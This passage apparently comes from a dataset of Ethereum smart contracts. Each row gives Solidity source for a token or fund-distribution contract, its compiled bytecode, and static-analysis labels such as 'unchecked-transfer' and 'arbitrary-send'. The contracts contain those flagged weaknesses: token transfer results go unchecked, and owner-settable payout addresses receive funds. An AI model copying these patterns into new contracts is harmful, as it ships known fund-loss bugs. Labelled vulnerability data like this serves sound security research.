emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address _account) external view returns (uint256);
}
contract PlutusTokenomics is Ownable {
using SafeMath for uint256;
address payable public treasuryAddress;
address payable public dreamAddress;
address payable public devAddress;
uint256 treasuryPercentageBPS; // integer value from 0 to 10000
uint256 dreamPercentageBPS;
constructor(address payable _treasuryAddress, address payable _dreamAddress, address payable _devAddress)
{
treasuryAddress = _treasuryAddress;
dreamAddress = _dreamAddress;
devAddress = _devAddress;
}
function setTresuryWalletAddress(address payable _treasuryAddress)
external
onlyOwner
{
treasuryAddress = _treasuryAddress;
}
function setDreamWalletAddress(address payable _dreamAddress)
external
onlyOwner
{
dreamAddress = _dreamAddress;
}
function setDevWalletAddress(address payable _devAddress)
external
onlyOwner
{
devAddress = _devAddress;
}
function setPercentages(uint256 _treasuryPercentageBPS, uint256 _dreamPercentageBPS) external onlyOwner {
treasuryPercentageBPS = _treasuryPercentageBPS;
dreamPercentageBPS = _dreamPercentageBPS;
}
function distributeFunds() public {
if (address(this).balance > 0) {
uint256 balance = address(this).balance;
uint256 treasuryShare = balance
.mul(treasuryPercentageBPS)
.div(10000);
uint256 dreamShare = balance
.mul(dreamPercentageBPS)
.div(10000);
uint256 devShare = balance.sub(treasuryShare).sub(dreamShare);
(bool successT, ) = treasuryAddress.call{value: treasuryShare}("");
(bool successD, ) = dreamAddress.call{value: dreamShare}("");
(bool successDev, ) = devAddress.call{value: devShare}("");
require(successT && successD && successDev, "Transfer failed.");
}
}
receive() external payable {}
// Allow owner to withdraw tokens sent by mistake to the contract
function withdrawToken(address token)
external
onlyOwner
{
IERC20 tokenContract = IERC20(token);
tokenContract.transfer(msg.sender, tokenContract.balanceOf(address(this)));
}
}
|
0x6080604052600436106100ab5760003560e01c80638da5cb5b116100645780638da5cb5b1461017f578063a0b735c11461019d578063bd2ec8c5146101bd578063c5f956af146101dd578063d0323228146101fd578063f2fde38b1461021d57600080fd5b8063120a0612146100b75780633a6a4d2e146100d95780633ad10ef6146100ee57806358a944c71461012a578063715018a61461014a578063894760691461015f57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506100d76100d23660046108f0565b61023d565b005b3480156100e557600080fd5b506100d7610292565b3480156100fa57600080fd5b5060035461010e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561013657600080fd5b506100d76101453660046108f0565b610460565b34801561015657600080fd5b506100d76104ac565b34801561016b57600080fd5b506100d761017a3660046108f0565b6104e0565b34801561018b57600080fd5b506000546001600160a01b031661010e565b3480156101a957600080fd5b506100d76101b83660046108f0565b610610565b3480156101c957600080fd5b506100d76101d8366004610948565b61065c565b3480156101e957600080fd5b5060015461010e906001600160a01b031681565b34801561020957600080fd5b5060025461010e906001600160a01b031681565b34801561022957600080fd5b506100d76102383660046108f0565b610691565b6000546001600160a01b031633146102705760405162461bcd60e51b8152600401610267906109bf565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b471561045e57600047905060006102c06127106102ba6004548561072c90919063ffffffff16565b906107b4565b905060006102df6127106102ba6005548661072c90919063ffffffff16565b905060006102f7826102f186866107f6565b906107f6565b6001546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114610349576040519150601f19603f3d011682016040523d82523d6000602084013e61034e565b606091505b50506002546040519192506000916001600160a01b039091169085908381818185875af1925050503d80600081146103a2576040519150601f19603f3d011682016040523d82523d6000602084013e6103a7565b606091505b50506003546040519192506000916001600160a01b039091169085908381818185875af1925050503d80600081146103fb576040519150601f19603f3d011682016040523d82523d6000602084013e610400565b606091505b5050905082801561040e5750815b80156104175750805b6104565760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610267565b505050505050505b565b6000546001600160a01b0316331461048a5760405162461bcd60e51b8152600401610267906109bf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146104d65760405162461bcd60e51b8152600401610267906109bf565b61045e6000610838565b6000546001600160a01b0316331461050a5760405162461bcd60e51b8152600401610267906109bf565b6040516370a0823160e01b815230600482015281906001600160a01b0382169063a9059cbb90339083906370a082319060240160206040518083038186803b15801561055557600080fd5b505afa158015610569573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058d919061092f565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156105d357600080fd5b505af11580156105e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060b919061090d565b505050565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610267906109bf565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106865760405162461bcd60e51b8152600401610267906109bf565b600491909155600555565b6000546001600160a01b031633146106bb5760405162461bcd60e51b8152600401610267906109bf565b6001600160a01b0381166107205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610267565b61072981610838565b50565b60008261073b575060006107ae565b60006107478385610a16565b90508261075485836109f4565b146107ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610267565b90505b92915050565b60006107ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610888565b60006107ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108bf565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600081836108a95760405162461bcd60e51b8152600401610267919061096a565b5060006108b684866109f4565b95945050505050565b600081848411156108e35760405162461bcd60e51b8152600401610267919061096a565b5060006108b68486610a35565b60006020828403121561090257600080fd5b81356107ab81610a62565b60006020828403121561091f57600080fd5b815180151581146107ab57600080fd5b60006020828403121561094157600080fd5b5051919050565b6000806040838503121561095b57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156109975785810183015185820160400152820161097b565b818111156109a9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082610a1157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610a3057610a30610a4c565b500290565b600082821015610a4757610a47610a4c565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461072957600080fdfea264697066735822122072585e56465fa670c07766a2299d9fb1e23ad1c3907c8a1e7c6b330b9297dcbd64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,968 |
0x5d64170c575be26c16008d49abe98ede2ec199af
|
/**
*Submitted for verification at Etherscan.io on 2019-07-07
*/
pragma solidity ^0.5.10;
/*
* Creator: Toke
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public view
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Toke smart contract.
*/
contract TOKE is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public view returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Toke";
string constant public symbol = "TOKE";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(address(0), msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806331c420d41161009757806395d89b411161006657806395d89b411461040f578063a9059cbb14610492578063dd62ed3e146104f8578063e724529c14610570576100f5565b806331c420d4146102f957806370a08231146103035780637e1f2bb81461035b57806389519c50146103a1576100f5565b806313af4035116100d357806313af4035146101ed57806318160ddd1461023157806323b872dd1461024f578063313ce567146102d5576100f5565b806301502460146100fa57806306fdde0314610104578063095ea7b314610187575b600080fd5b6101026105c0565b005b61010c610678565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d36004803603604081101561019d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b61022f6004803603602081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106e5565b005b610239610783565b6040518082815260200191505060405180910390f35b6102bb6004803603606081101561026557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078d565b604051808215151515815260200191505060405180910390f35b6102dd610819565b604051808260ff1660ff16815260200191505060405180910390f35b61030161081e565b005b6103456004803603602081101561031957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d7565b6040518082815260200191505060405180910390f35b6103876004803603602081101561037157600080fd5b810190808035906020019092919050505061091f565b604051808215151515815260200191505060405180910390f35b61040d600480360360608110156103b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abf565b005b610417610cbf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045757808201518184015260208101905061043c565b50505050905090810190601f1680156104845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104de600480360360408110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf8565b604051808215151515815260200191505060405180910390f35b61055a6004803603604081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d82565b6040518082815260200191505060405180910390f35b6105be6004803603604081101561058657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e09565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461061a57600080fd5b600560009054906101000a900460ff16610676576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040518060400160405280600481526020017f546f6b650000000000000000000000000000000000000000000000000000000081525081565b6000806106be3385610d82565b14806106ca5750600082145b6106d357600080fd5b6106dd8383610f66565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461073f57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107e657600080fd5b600560009054906101000a900460ff16156108045760009050610812565b61080f848484611058565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087857600080fd5b600560009054906101000a900460ff16156108d5576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097b57600080fd5b6000821115610ab55761099a69152d02c7e14af680000060045461143c565b8211156109aa5760009050610aba565b6109f26000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611453565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4060045483611453565b6004819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610aba565b600090505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b1957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5257600080fd5b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bde57600080fd5b505af1158015610bf2573d6000803e3d6000fd5b505050506040513d6020811015610c0857600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040518060400160405280600481526020017f544f4b450000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d5157600080fd5b600560009054906101000a900460ff1615610d6f5760009050610d7c565b610d79838361146f565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610e9c57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561109357600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111205760009050611435565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116f5760009050611435565b6000821180156111ab57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113cb57611236600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361143c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fe6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361143c565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113886000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611453565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60008282111561144857fe5b818303905092915050565b60008082840190508381101561146557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114aa57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114f957600090506116b9565b60008211801561153557508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561164f576115826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361143c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160c6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611453565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9291505056fea265627a7a72305820c9e788edb5e3aacca7d865e958c5a9a190e428435e9ba81ed2fe9d9903369d8c64736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,969 |
0x9df4a67a1c342fadc36d0cf8268382487a4916bc
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
